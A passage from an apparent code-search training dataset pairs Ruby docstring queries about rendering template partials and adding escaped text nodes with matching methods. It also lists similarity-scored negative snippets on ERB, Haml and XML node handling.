"def get_content_for_layout()\n get_partial(@type)\n # if @type == \"home\"\n # get_partial('home')\n # elsif @type == \"page\"\n # get_partial('page')\n # elsif @type == \"article\"\n # get_partial('article')\n # elsif @type == \"category\"\n # get_partial('category')\n # end\n end",
"def template\n @part.content\n end",
"def create_template_source(template, render_symbol)\n body = compile(template)\n\n self.template_args[render_symbol] ||= {}\n locals_keys = self.template_args[render_symbol].keys | template.locals.keys\n self.template_args[render_symbol] = locals_keys.inject({}) { |h, k| h[k] = true; h }\n\n locals_code = \"\"\n locals_keys.each do |key|\n locals_code << \"#{key} = local_assigns[:#{key}]\\n\"\n end\n\n \"def #{render_symbol}(local_assigns)\\nold_output_buffer = output_buffer;#{locals_code}#{body}\\nensure\\nself.output_buffer = old_output_buffer\\nend\"\n end",
"def template_setup\n content_for :content_title, \"Dashboard\".html_safe\n end",
"def render(_, _)\n self.class.run(@filename, @source)\n end",
"def render(_context)\n @browser_url = @attributes['url']\n render_header + render_contents + render_url + render_footer\n end",
"def add_template_pages; end",
"def apply_template_before?; end",
"def content\n case @context\n when :preamble, :open\n @blocks.map {|b| b.render }.join\n # lists get iterated in the template (for now)\n # list items recurse into this block when their text and content methods are called\n when :ulist, :olist, :dlist, :colist\n @buffer\n when :listing, :literal\n apply_literal_subs(@buffer)\n when :pass\n apply_passthrough_subs(@buffer)\n when :admonition, :example, :sidebar, :quote, :verse\n if [email protected]?\n apply_para_subs(@buffer)\n else\n @blocks.map {|b| b.render }.join\n end\n else\n apply_para_subs(@buffer)\n end\n end",
"def single_content_for(name, content = nil, &block)\n @view_flow.set(name, ActiveSupport::SafeBuffer.new)\n content_for(name, content, &block)\n end"
] |
[
"0.69303334",
"0.68984437",
"0.6813255",
"0.6745191",
"0.67269385",
"0.6575535",
"0.6554137",
"0.6541704",
"0.6529032",
"0.6480395",
"0.64775115",
"0.64244616",
"0.640286",
"0.6388529",
"0.6358667",
"0.63171667",
"0.62834406",
"0.62825215",
"0.62749356",
"0.6265714",
"0.62486887",
"0.6237201",
"0.6235127",
"0.6212834",
"0.6195895",
"0.6190426",
"0.61791694",
"0.61648446",
"0.61648446",
"0.61560667",
"0.6118405",
"0.6077492",
"0.6070218",
"0.6067559",
"0.60097504",
"0.60096604",
"0.6003406",
"0.5993174",
"0.59913564",
"0.59849715",
"0.597942",
"0.59658605",
"0.59649",
"0.59630567",
"0.5962767",
"0.59619194",
"0.59494907",
"0.59494907",
"0.59494907",
"0.59494907",
"0.59494907",
"0.59494907",
"0.59494907",
"0.59435385",
"0.5940166",
"0.59345347",
"0.59149486",
"0.59066194",
"0.5904256",
"0.5899734",
"0.58921176",
"0.58919233",
"0.58844286",
"0.58843076",
"0.58817726",
"0.5878252",
"0.587374",
"0.5871884",
"0.5870087",
"0.5860488",
"0.5838",
"0.5830371",
"0.58302987",
"0.58192235",
"0.58192235",
"0.58192235",
"0.5816824",
"0.58145875",
"0.5811238",
"0.58111644",
"0.5800274",
"0.57989246",
"0.5798107",
"0.57911605",
"0.5791005",
"0.57865626",
"0.57853156",
"0.5782704",
"0.57645655",
"0.57468176",
"0.57392704",
"0.57316816",
"0.57259446",
"0.5723991",
"0.57113606",
"0.5710982",
"0.570684",
"0.5700438",
"0.569262",
"0.56923074",
"0.568878"
] |
0.0
|
-1
|
call this to render partial source embedded in a template partial source is rendered with its own scope/data but shares its parent template's output object
|
def __partial(source, data)
Undies::Template.new(source, data, @_undies_output)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def partial(template_name, locals, &content)\n self.kramdown_source.render(template_name)\n end",
"def render_partial(context, options, &block); end",
"def render(view, locals, buffer=nil, &block)\n @template.instance_variable_set(:'@source', wrapped_source)\n\n super(view, locals, buffer, &block)\n end",
"def __partial(source, data={})\n if source.kind_of?(Source)\n Undies::Template.new(source, data, @_undies_io)\n else\n @_undies_io.current.partial(source.to_s)\n end\n end",
"def build_html\n ApplicationController.render(partial: partial, locals: locals)\n end",
"def render(*partial_path)\n template_path = full_path(*partial_path)\n\n code = File.read(template_path)\n\n @output = eval(code, binding, template_path.to_s)\n end",
"def render(context)\n file = render_variable(context) || @file # use parsed variable filename unless passed explicit filename\n validate_file_name(file)\n path = locate_include_file(context, file, true) # ensure file exists in safe path\n return unless path\n # # ???????\n # add_include_to_dependency(site, path, context)\n #\n # Load the partial if it's identical to one we've already loaded ???\n partial = File.read(path) # reads the template file\n partial = Liquid::Template.parse(partial) # compiles template\n # setup and perform render\n context.stack do\n # create a hash object for any passed k/v pair args\n # by parsing passed parameters using the parent file's scope\n context[\"include\"] = parse_params(context) if @params\n begin # render the include for output\n partial.render!(context)\n rescue Liquid::Error => e\n e.template_name = path\n e.markup_context = \"included \" if e.markup_context.nil?\n raise e\n end\n end\n end",
"def render_partial(context, options, &block) # :nodoc:\n render_partial_to_object(context, options, &block).body\n end",
"def include_partial path, local_assigns = {}\r\n partial = @view.render :partial => path, :locals => local_assigns\r\n @output << partial\r\n end",
"def include_partial path, local_assigns = {}\r\n partial = @view.render :partial => path, :locals => local_assigns\r\n @output << partial\r\n end",
"def render_partial(partial, content)\n template = ERB.new(File.read partial)\n content_binding = binding_from_hash(content)\n template.result(content_binding).html_safe\n end",
"def on_partial(name, indentation)\n \"@output_buffer.concat(render(:partial => #{name.inspect}));\\n\"\n end",
"def render_partial(*ignore_args); end",
"def render(partial_relative_path, vars=nil)\n pathname = partial_pathname(partial_relative_path)\n\n if vars.is_a?(Hash)\n context = Context.new(self, (variables || {}).merge(vars))\n else\n context = nil\n end\n\n template_result(pathname.read, context)\n end",
"def render(options = {}, locals = {}, &block)\n buffer = super\n opts = { context: self, buffer: buffer, options: options, locals: locals }\n ActiveSupport::Notifications.instrument(:render_partial, opts)\n buffer\n end",
"def partial(filename, binding)\n template_file = get_template_file(filename)\n ERB.new(template_file, nil, '-', '_erbout2').result(binding)\nend",
"def render_partial(p,local_assigns={})\n# ActionView::TestCase::Behavior#, which invokes ActionView::Rendering#:\n if local_assigns.blank? # Work around bugs:\n render :partial => p\n else\n render p, local_assigns\n end\n @partial=p.clone.insert p.index(?/)+1, '_'\n end",
"def partial(template, locals = {})\n erb(template, :layout => false, :locals => locals)\n end",
"def partial(template, locals = {})\n erb(template, :layout => false, :locals => locals)\n end",
"def render_partial(template, types, context)\n templates.get(template, types).render(context)\n end",
"def embedded_partial(path,name,opts={})\n additional_opts = opts\n additional_opts.merge!({ :partial => name, :locals => { :___embedded_html___ => element_at(path).inner_html }.merge(opts[:locals]||{}) })\n renderer.view.instance_eval { render(additional_opts) }\n end",
"def partial; end",
"def partial; end",
"def partial; end",
"def partial; end",
"def render(*args)\n options = {}\n if args.length == 1 && args[0].class == String\n # render partial\n options[:partial] = args[0]\n elsif args.length == 1 && args[0].class == Hash\n # render :partial => 'partial', :locals => {:var1 => value1, :var2 => value2}\n options = args[0]\n elsif args.length == 2 && args[0].class == String && args[1].class == Hash\n # render 'partial', :var1 => value1, :var2 => value2\n options[:locals] = args[1]\n options[:partial] = args[0]\n elsif args.length == 1 && args[0].class == Array\n # render ['xpartials','ypartials']\n raise PartialError, \"render array not yet implemented\"\n else\n raise PartialError, \"unsupported arguments\"\n end\n partial = options[:partial] || nil\n raise PartialError, \"partial not specified\" unless partial\n prawn = options[:prawn] || pdf\n @locals_stack ||= []\n @locals_stack.push @locals\n @locals = options[:locals]\n @pdf_stack ||= []\n @pdf_stack.push @pdf\n @pdf = prawn\n instance_eval(partial_source(partial), __FILE__, __LINE__)\n @pdf = @pdf_stack.pop\n @locals = @locals_stack.pop\n end",
"def partial(template, locals = {})\n erb(template, layout: false, locals: locals)\n end",
"def compile_partial(name)\n klass = Mustache.classify(name)\n if Object.const_defined?(klass)\n ev(\"#{klass}.to_html\")\n else\n src = File.read(@template_path + '/' + name + '.html')\n compile(src)[1..-2]\n end\n end",
"def partial(name, options={})\n old_format = self.template_format\n self.template_format = :html\n js render({ :partial => name }.merge(options))\n ensure\n self.template_format = old_format\n end",
"def render_partial name, locals\n @context.instance_eval { render :partial => \"view_models/collection/#{name}\", :locals => locals }\n end",
"def render_slim(src, dest, **data)\n File.open(dest, \"w\") do |dest_file|\n rendered_html = partial(src, **data)\n dest_file.write(rendered_html)\n end\n end",
"def render\n ERB.new(load_resource(template)).result(bound.get_binding)\n end",
"def render(obj = Object.new, locals = {})\n output = template.result(obj.instance_eval { binding })\n (view == 'document' || view == 'embedded') ? output.gsub(BLANK_LINES_PATTERN, '').gsub(LINE_FEED_ENTITY, \"\\n\") : output\n end",
"def template_content(folder = 'content', partial = 'dummy')\n render_to_string(:partial => \"shared/#{ folder }/#{ partial }\")\n end",
"def partial_in(controller, partial_name, *args)\n partial_name = PARTIAL_PREFIX + partial_name.to_s\n begin\n controller.render_partial(partial_name, *args)\n rescue\n Ramaze::Log.error(\"Error loading partial #{controller.to_s}.#{partial_name}\")\n raise $!\n end\n end",
"def raw_block_to_partial(partial_name, options = {}, &block)\n options.merge!(:block => block)\n render(:partial => partial_name, :locals => options)\n end",
"def render(scope = T.unsafe(nil), locals = T.unsafe(nil), &block); end",
"def partial (filename,locals={})\n source = File.read(find(filename))\n engine = Haml::Engine.new(source)\n engine.render(binding,locals)\nend",
"def render_template(options={})\n # puts \"ActionController#render_template(start), options = #{options}\"\n #`var d = new Date(); console.log(\"time= \" + d.getSeconds() + \":\" + d.getMilliseconds());`\n #Timer.time_stamp(\"render_template (begin)\")\n content_fors = options.delete(:content_for) || {}\n partial = options[:partial]\n\n # renderer = ActionView::Renderer.new(self, path: render_path)\n # puts \"renderer = #{@renderer.inspect}\"\n if partial\n # puts \"ActionController#render_template (partial)\"\n top_view_html = @renderer.render(options)\n else\n # puts \"ActionController#render_template (file)\"\n top_view_html = @renderer.render(file: render_path, options: {locals: @__locals})\n end\n\n content_for_htmls = {}\n content_fors.each do |key, selector|\n content_for_html = @renderer.content_fors[key]\n #puts \"content for #{key} = #{content_for_html}\"\n content_for_htmls[selector] = content_for_html\n end\n #`var d = new Date(); console.log(\"time= \" + d.getSeconds() + \":\" + d.getMilliseconds());`\n [top_view_html, content_for_htmls]\n end",
"def render_template(context, options); end",
"def render(source)\n ERB.new(source, nil, '-').result(binding)\n end",
"def render_template(full_path)\n @current_template = TemplateRenderer.new(@volt_app, @target, @controller, @binding_name, full_path)\n\n call_ready\n end",
"def render(view, locals, buffer=nil, &block)\n mod = view.is_a?(Deface.template_class) ? Deface.template_class : view.singleton_class\n\n if @compiled && !mod.instance_methods.include?(method_name.to_sym)\n @compiled = false\n @source = refresh(view).source\n end\n buffer.nil? ? super(view, locals, buffer, &block) : super(view, locals, **buffer, &block)\n end",
"def render_plain\n template_content\n end",
"def render(scope = T.unsafe(nil), locals = T.unsafe(nil)); end",
"def partial(*args)\n partial_name = args.shift.to_s\n partial_name = PARTIAL_PREFIX + partial_name\n render_partial(partial_name, *args)\n end",
"def render_in(view_context, &block)\n self.class.compile\n @view_context = view_context\n @view_renderer ||= view_context.view_renderer\n @lookup_context ||= view_context.lookup_context\n @view_flow ||= view_context.view_flow\n @virtual_path ||= virtual_path\n @variant = @lookup_context.variants.first\n old_current_template = @current_template\n @current_template = self\n\n # Pass self as a block parameter\n @content = render_block(view_context, &block) if block_given?\n validate!\n\n send(self.class.call_method_name(@variant))\n ensure\n @current_template = old_current_template\n end",
"def on_mustache_partial(name)\n [:dynamic, \"#{options[:partial]}(#{name.to_sym.inspect})\"]\n end",
"def partial(file_name)\n erb file_name, :layout => false\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n concat(render(:partial => partial_name, :locals => options))\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n concat(render(:partial => partial_name, :locals => options))\n end",
"def partial(template, *args)\n template_array = template.to_s.split('/')\n template = template_array[0..-2].join('/') + \"/_#{template_array[-1]}\"\n options = args.last.is_a?(Hash) ? args.pop : {}\n options.merge!(:layout => false)\n locals = options[:locals] || {}\n if collection = options.delete(:collection) then\n collection.inject([]) do |buffer, member|\n buffer << erb(:\"#{template}\", options.merge(:layout =>\n false, :locals => {template_array[-1].to_sym => member}.merge(locals)))\n end.join(\"\\n\")\n else\n erb(:\"#{template}\", options)\n end\n end",
"def partial(template)\n template = self.normalize_tpl(template)\n @tpl_stack.push(template.gsub(/\\W/, '_'))\n result = ::ERB.new(File.read(self.get_tpl_file(template)), nil, nil, 's2cgi_' + @tpl_stack.join('_')).result(binding)\n @tpl_stack.pop\n return result\n end",
"def render(scope = Object.new, &block)\n @scope_object = scope\n @buffer = Haml::Buffer.new(@options)\n\n local_assigns = @options[:locals]\n\n # Get inside the view object's world\n @scope_object.instance_eval do\n # Set all the local assigns\n local_assigns.each do |key,val|\n self.class.send(:define_method, key) { val }\n end\n end\n\n # Compile the @precompiled buffer\n compile &block\n\n # Return the result string\n @buffer.buffer\n end",
"def main_content\n do_include(@template)\n end",
"def render_partial(name, options={})\n name = name.to_s\n if File.exists?(Rails.root.join(\"app\", \"views\", \"#{website.folder}/#{name.gsub(/\\/(?!.*\\/)/, \"/_\")}.html.erb\"))\n name = \"#{website.folder}/#{name}\"\n end\n eval(\"render '#{name}', options\")\n end",
"def partial(name, options={})\n path = \"com/\"+(params[:path].empty? ? ['index'] : params[:path]).join(\"/\") + \"/\"\n path = 'com' if name.starts_with?('/')\n \n render options.merge(:partial => \"#{RIGHTJS_SRC_DOCS}/#{path}#{name}.html.erb\")\n end",
"def _render_one(entry)\n @entry = entry\n @filename = @entry.filename\n\n # avoid double render of layout path\n return if @entry.source_path == @layout_path\n\n # render. Result goes into @content_for_resources\n input = File.read(@entry.source_path)\n \n # render using either erb or haml\n case File.extname(@entry.source_path)\n when /\\.rhtml$/, /\\.html.erb$/\n @content_for_resources += eval(Erubis::Eruby.new.convert(input))\n when /\\.haml$/, /\\.html.haml$/\n require 'haml'\n @content_for_resources += Haml::Engine.new(input).to_html(self)\n end\n\n @filename =nil\n @entry = nil\n end",
"def include_partial(relative_path)\n return if @partial_templates.key?(relative_path)\n\n @partial_templates[relative_path] = nil\n render(Pathname.new(\"#{@script_path}/#{relative_path}\"))\n end",
"def _render_template(options); end",
"def _render_template(options); end",
"def partial(template, *args)\n template_array = template.to_s.split('/')\n template = template_array[0..-2].join('/') + \"/_#{template_array[-1]}\"\n options = args.last.is_a?(Hash) ? args.pop : {}\n options.merge!(:layout => false)\n if collection = options.delete(:collection) then\n collection.inject([]) do |buffer, member|\n buffer << erb(:\"#{template}\", options.merge(:layout =>\n false, :locals => {template_array[-1].to_sym => member}))\n end.join(\"\\n\")\n else\n erb(:\"#{template}\", options)\n end\n end",
"def render_variable(context); end",
"def render_view_hook(view, placement, context, args = {})\n find(view, placement).each_with_object(\"\".html_safe) do |partial, buffer|\n buffer.safe_concat context.render(partial, **args)\n end\n end",
"def render_partial(file_name)\n # The \"default\" version of the partial.\n file_to_render = \"#{@input_folder}/partials/#{file_name.to_s}.haml\"\n if @scope\n # Look for a partial prefixed with the current \"scope\" (which is just the name of the\n # primary template being rendered).\n scope_file = \"#{@input_folder}/partials/#{@scope.to_s}_#{file_name.to_s}.haml\"\n # Use it if it's there.\n file_to_render = scope_file if File.exists? scope_file\n end\n # If we found a matching partial (either the scoped one or the default), render it now.\n if File.exists? file_to_render\n partial = Haml::Engine.new(File.read(file_to_render), @options)\n partial.render self\n else\n nil\n end\n rescue Exception => e\n raise $!, \"#{$!} PARTIAL::#{file_name} \", $!.backtrace\n end",
"def partial(template, *args)\n template_array = template.to_s.split('/')\n template = template_array[0..-2].join('/') + \"/_#{template_array[-1]}\"\n options = args.last.is_a?(Hash) ? args.pop : {}\n options.merge!(:layout => false)\n locals = options[:locals] || {}\n if collection = options.delete(:collection) then\n collection.inject([]) do |buffer, member|\n buffer << erb(:\"#{template}\", options.merge(:layout =>\n false, :locals => {template_array[-1].to_sym => member}.merge(locals)))\n end.join(\"\\n\")\n else\n erb(:\"#{template}\", options)\n end\n end",
"def block_to_partial(partial_name, options = {}, &block)\n #puts \"PARTIAL_NAME=#{partial_name},OPTIONS=#{options},BLOCK=#{block}\"\n options.merge!(:body => capture(&block))\n concat(render(:partial => partial_name, :locals => options))\n end",
"def render(_, _)\n self.class.run(@filename, @source)\n end",
"def partial(name, options = {})\n options[:partial] = name\n action_view.render(options)\n end",
"def render_partial(path, locals = {})\n raw theme_view.render(partial: path, locals: locals)\n end",
"def source(binding=nil) #:nodoc:\n @source ||= wrap_in_layout do\n filter @erb.result(binding)\n end\n end",
"def render_source\n render_dependent_models :source\n end",
"def render_partial_for(element, field, label, tip, template, helper, required, extra_locals, args)\n errors = self.class.ignore_errors ? nil : error_message_for(field)\n locals = extra_locals.merge(:element => element, :field => field, :builder => self, :object => object, :object_name => object_name, :label => label, :errors => errors, :tip => tip, :helper => helper, :required => required)\n\n @template.render :partial => \"#{self.class.template_root}/#{template}.html.erb\", :locals => locals\n end",
"def partial(template, locals = {})\n haml(template, :layout => false, :locals => locals)\n end",
"def partial(name)\n partial_name = \"_#{name}.#{Stache.template_extension}\"\n template_dir = self.virtual_path.split(\"/\")[0..-2].join(\"/\")\n partial_path = File.expand_path(File.join(Stache.template_base_path, template_dir, partial_name))\n # ::Rails.logger.info \"Checking for #{partial_path} in template_dir: #{template_dir}\"\n unless File.file?(partial_path)\n partial_path = \"#{Stache.shared_path}/#{partial_name}\"\n end\n \n # ::Rails.logger.info \"LOADING PARTIAL: #{partial_path}\"\n File.read(partial_path)\n end",
"def render_with(**locals)\n render_with_template(locals: locals)\n end",
"def partial(partial)\n partial_view = \"partials/_#{partial}\".to_sym\n erb partial_view, :layout => false\nend",
"def precompiled_template(locals = {})\n @src\n end",
"def do_render\n Mustache.render(template, self)\n end",
"def get_partial(partial_name)\n tpl = @engine.templates.get_partial(partial_name)\n tpl.render(self, @context_vars)\n end",
"def block_to_partial(partial_name, options = {}, &block) \n # replace :id with :cssid and :class with :cssclass\n if options[:id]\n options[:cssid] = options.delete(:id)\n else\n options[:cssid] = \"\" if options[:cssid].nil?\n end\n if options[:class]\n options[:cssclass] = options.delete(:class) \n else\n options[:cssclass] = \"\" if options[:cssclass].nil? \n end \n \n options.merge!(:body => capture(&block))\n concat(render(:partial => partial_name, :locals => options))\n end",
"def render(context, locals)\n @context = context\n @pathname = context.pathname\n @directory = File.dirname(@pathname)\n\n @header = data[HEADER_PATTERN, 0] || \"\"\n @body = $' || data\n # Ensure body ends in a new line\n @body += \"\\n\" if @body != \"\" && @body !~ /\\n\\Z/m\n\n @included_pathnames = []\n\n @result = \"\"\n @result.force_encoding(body.encoding)\n\n @has_written_body = false\n\n process_directives\n @body = process_imports(@body, @context, @directory)\n @body = process_stylesheets(@body, @directory)\n @body = process_scripts(@body, @directory)\n process_source\n\n @result\n end",
"def render\n Debug.debug { \"Now rendering #{@context} block for #{self}\" }\n @document.playback_attributes @attributes\n out = renderer.render(\"block_#{@context}\", self)\n @document.callouts.next_list if @context == :colist\n out\n end",
"def partial(filename, assigns = {})\n if template.partials.has_key?(filename)\n p = template.partials[filename]\n else\n p = Documatic::OpenDocumentText::Partial.new(filename)\n template.add_partial(filename, p)\n end\n assigns.merge!(:template => template, :master => master)\n p.process(assigns)\n end",
"def precompiled_template(locals = {})\n @src\n end",
"def streamlined_render(options = nil, deprecated_status = nil, &block)\n begin\n render(options, deprecated_status, &block)\n rescue ActionView::TemplateError => ex \n raise ex\n rescue Exception => ex\n if options\n if options[:partial] && @managed_partials.include?(options[:partial])\n options[:partial] = controller.generic_view(options[:partial])\n render(options, deprecated_status, &block)\n else\n raise ex\n end\n else\n view_name = default_template_name.split(\"/\")[-1]\n render(:template => StreamlinedController.generic_view(view_name))\n end\n end\n end",
"def load_data_with_partials(hash=nil)\n if(@partials != nil) #if a partial has actually been submitted\n hash ||= {}; #if nil, make a hash. (return value)\n hash[:htmlElts] = {}; #hash for each elementID<=>newHTML pair\n \n @partials.each { |p| #for each partial submitted\n partial_id = find_partial_name(p[0].to_s);\n\n #build the html from embedded ruby files in views and relevant inputs\n hash[:htmlElts][partial_id] = ERB.new(render_to_string(render_function_hash(p))).result;\n }\n end\n return hash;\n end",
"def render(options = T.unsafe(nil), locals = T.unsafe(nil), &block); end",
"def partial_javascript(name, options={})\n old_format = self.template_format\n self.template_format = :js\n render({ :partial => name }.merge(options))\n ensure\n self.template_format = old_format\n end",
"def evaluate(scope, locals, &block)\n @scope = scope\n template = hb_render_template locals, &block\n \"#{hb_template_var} = #{hb_template_js template};\\n\".tap do |text|\n text += \"#{self.class.template_partial_method}('#{hb_partial_path}', #{hb_template_var});\" if hb_partial?\n end\n end",
"def partial(name, obj, locals = {})\n Array(obj).map do |item|\n haml \"_#{name}\".to_sym, :locals => { name.to_sym => item }.merge(locals), :layout => false\n end.join(\"\\n\")\n end",
"def render file_name\n template_file = @template_dir + file_name\n\n template = template_for template_file, false, RDoc::ERBPartial\n\n template.filename = template_file.to_s\n\n template.result @context\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n render(:partial => partial_name, :locals => options)\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n render(:partial => partial_name, :locals => options)\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n render(:partial => partial_name, :locals => options)\n end",
"def view\n render partial: params[:template]\n end",
"def render\n content = output_capture(@block) do\n instance_exec( *@args, &@block )\n end\n content_wrapped = output_capture() { wrap( content ) }\n output_concat content_wrapped\n end",
"def partial_for(obj, partial, parent_directory)\n\t\ttmp = obj.class.to_s.split('::')\n\t\tklass_sym = tmp[-1] # e.g, 'OfferArtifact'\n\t\tcontract_sym = tmp[-2] # e.g, 'Bet'\n\t\tpath = nil\n\t\tif (parent_directory != '') then\n\t\t\tpath = \"contract_views/#{contract_sym.underscore}/#{parent_directory}/#{klass_sym.underscore}\"\n\t\t\t# e.g, contract_views/bet/artifacts/OfferArtifact\n\t\telse\n\t\t\tpath = \"contract_views/#{contract_sym.underscore}/\"\n\t\t\t# e.g, contract_views/bet/\n\t\tend\n\t\tFile.join(path, partial)\n\tend",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n @options = options\n concat(render(:partial => partial_name), block.binding)\n end",
"def render_partial(event)\r\n render_partial_with_logging(event) unless render_without_logging\r\n end"
] |
[
"0.74765587",
"0.7341391",
"0.7085893",
"0.6889318",
"0.6872837",
"0.6764386",
"0.6754263",
"0.672056",
"0.66915524",
"0.66915524",
"0.66189086",
"0.6611903",
"0.65935105",
"0.6503986",
"0.64484257",
"0.64460516",
"0.6431554",
"0.6419661",
"0.6419661",
"0.64072585",
"0.63775504",
"0.63674223",
"0.63674223",
"0.63674223",
"0.63674223",
"0.63668203",
"0.63514286",
"0.6350672",
"0.6339709",
"0.62736064",
"0.62656826",
"0.6257724",
"0.62481695",
"0.62228507",
"0.6219116",
"0.61958015",
"0.61945605",
"0.6186513",
"0.6175114",
"0.6171959",
"0.6167555",
"0.6156942",
"0.61290765",
"0.6126536",
"0.61245096",
"0.6119741",
"0.60954297",
"0.60819453",
"0.6069926",
"0.6062876",
"0.6062876",
"0.6062314",
"0.60591257",
"0.6058318",
"0.60524935",
"0.6047295",
"0.60450494",
"0.6040877",
"0.6036212",
"0.6035481",
"0.6035481",
"0.6032764",
"0.6025437",
"0.6024099",
"0.601504",
"0.6013571",
"0.6002109",
"0.5992089",
"0.59844404",
"0.5980288",
"0.59617406",
"0.5955501",
"0.5946582",
"0.5942643",
"0.593398",
"0.5933102",
"0.5918037",
"0.5907836",
"0.5904773",
"0.5897284",
"0.5895061",
"0.58904415",
"0.58887327",
"0.58840394",
"0.587905",
"0.58774054",
"0.5876904",
"0.5873244",
"0.58724797",
"0.5867816",
"0.5864166",
"0.5863773",
"0.58628994",
"0.58628994",
"0.58628994",
"0.58565265",
"0.5854669",
"0.58427835",
"0.58420473",
"0.5840294"
] |
0.69250906
|
3
|
Add a text node (data escaped) to the nodes of the current node
|
def _(data=""); self.__ self.escape_html(data.to_s); end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def add_text_child(text)\n text_tag = Tag.new(\"text\", text)\n @current_node.children.push text_tag\n text_tag.parent = @current_node\n # text_tag.depth = @current_node.depth\n end",
"def text(content)\n @nodes << TextNode.new(content)\n self\n end",
"def createTextNode(data)\n ret = Text.new(data)\n ret.ownerDocument = self\n ret\n end",
"def add_text(text, tree = T.unsafe(nil), type = T.unsafe(nil)); end",
"def append_text(content)\n temp_text_ele = @text_ele.clone\n temp_text_ele.elements[1].content = content\n last_para = @main_doc.xpath('.//w:p')[-1]\n last_para.add_child(temp_text_ele)\n end",
"def add_text(text); end",
"def add_text(text)\n return if text.empty?\n\n if text.frozen?\n text = text.gsub(/['\\\\]/, '\\\\\\\\\\&')\n else\n text.gsub!(/['\\\\]/, '\\\\\\\\\\&')\n end\n\n with_buffer{@src << \" << '\" << text << @text_end}\n end",
"def text=(content)\n if @text_nodes.size == 1\n @text_nodes.first.content = content\n elsif @text_nodes.empty?\n #new_t = Elements::Text.create_within(self)\n new_t.content = content\n end\n end",
"def text=(content)\r\n if @text_nodes.size == 1\r\n @text_nodes.first.content = content\r\n elsif @text_nodes.empty?\r\n new_t = Elements::Text.create_within(self)\r\n new_t.content = content\r\n end\r\n end",
"def _text(text)\n @target << text\n end",
"def text_node(content)\n return node(\"text\", content)\n end",
"def text(node); end",
"def text(node); end",
"def text=(content)\r\n if @text_nodes.size == 1\r\n @text_nodes.first.content = content\r\n elsif @text_nodes.empty?\r\n new_t = Elements::Text.create_within(self)\r\n new_t.content = content\r\n end\r\n reset_text\r\n end",
"def add(text)\n @text << text\n end",
"def nodeValue=(text)\n self.childNodes = [text]\n end",
"def add_text(src, text)\n return if text.empty?\n\n if text == \"\\n\"\n @newline_pending += 1\n else\n src << \"_erbout.safe_append='\"\n src << \"\\n\" * @newline_pending if @newline_pending > 0\n src << escape_text(text)\n src << \"';\"\n\n @newline_pending = 0\n end\n end",
"def create_text_node(string, &block); end",
"def create_text_node(string, &block); end",
"def text(text)\r\n # Do nothing unless we're currently working on a <packet> element or one of its children\r\n return unless @element_stack.length > 0\r\n\r\n @element_stack.last.add_text(text)\r\n end",
"def text(text)\n @document.add_text(text)\n end",
"def create_text(content)\n DOM(`#@native.createTextNode(#{content})`)\n end",
"def text=(string)\n self.children.each do |node|\n if node.node_type == TEXT_NODE\n node.content = string.to_s\n return node.content\n end\n end\n\n self << XML::Text.new(string.to_s, self.doc)\n end",
"def text_node(element, parent)\n if element.name.to_sym.eql?(:code) and parent.eql?(:pre)\n element.text.gsub(\"\\n\",\"\\n \") << \"\\n\"\n elsif parent.eql?(:blockquote)\n element.text.gsub!(\"\\n \",\"\\n>\")\n return element.text\n else\n element.text\n end\n end",
"def add_text\n return '' unless @selector.key?(:text)\n\n text = @selector.delete :text\n if !text.is_a?(Regexp)\n \"[normalize-space()='#{text}' or @value='#{text}']\"\n elsif simple_regexp?(text)\n \"[contains(text(), '#{text.source}') or contains(@value, '#{text.source}')]\"\n else\n @selector[:text] = text\n ''\n end\n end",
"def insert_node(parent, type, text, additional = '', object = nil)\n text = text.to_s\n additional = additional.to_s if additional\n iter = self.model.append(parent)\n iter.set_value(Value::ICON, render_icon(@formats[type][0], Gtk::IconSize::MENU, text))\n iter.set_value(Value::TEXT, text)\n iter.set_value(Value::ADDITIONAL_TEXT, additional) if additional\n iter.set_value(Value::OBJECT, object) if object\n iter\n end",
"def test_text\n root = CommandNode.new(nil, nil)\n\n root << 'A block of text.'\n assert(root.size == 1)\n assert(root[0].class == TextNode)\n assert(root[0].text == 'A block of text.')\n\n root << \" More text.\"\n assert(root.size == 1)\n assert(root[0].class == TextNode)\n assert(root[0].text == 'A block of text. More text.')\n\n root.paragraph\n root << \"A new node.\"\n assert(root.size == 3)\n assert(root[0].class == TextNode)\n assert(root[-1].class == TextNode)\n assert(root[0].text == 'A block of text. More text.')\n assert(root[-1].text == 'A new node.')\n end",
"def create_text_node(string, &block)\n Nokogiri::XML::Text.new(string.to_s, self, &block)\n end",
"def cdata(text)\n XML::Node.new_cdata text.to_s\n end",
"def node_text(node)\n node.content.gsub('<', '<').gsub('>', '>')\n end",
"def process_text_node(node, dynamic_key: nil)\n content = node.content\n\n if node.blank?\n if !content.include?(\"\\n\")\n append_htx_node(\"`#{content}`\")\n elsif node.next\n append(content)\n else\n @whitespace_buff = content[NEWLINE_END]\n end\n else\n htx_content_node = self.class.htx_content_node?(node.parent)\n parser = TextParser.new(content, statement_allowed: !htx_content_node)\n parser.parse\n\n append(parser.leading) unless htx_content_node\n\n if parser.statement?\n append(indent(parser.content))\n elsif parser.raw?\n append_htx_node(indent(parser.content), dynamic_key)\n else\n append_htx_node(parser.content, dynamic_key)\n end\n\n unless htx_content_node\n append(parser.trailing)\n @whitespace_buff = parser.whitespace_buff\n end\n end\n end",
"def content text\n @xml << text.to_s\n nil\n end",
"def set_text( *args )\n value = args.pop\n elements = args\n\n value_node = build_document_tree( elements )\n modified_node = build_document_tree( elements, self.modified_document ) if self.modified_document\n\n value_node.text = value\n modified_node.text = value if self.modified_document\n end",
"def replace_content_with_text(node_or_nodeset, text)\n each_node(node_or_nodeset) do |node|\n node.content = text\n end\n end",
"def append(text); end",
"def text=(x)\n self << x.to_s\n end",
"def create_node(xml, node_name, attrs, text)\n return if text.nil? || text.empty?\n\n xml.send(node_name, clean_attrs(attrs)) do\n xml.text text\n end\n end",
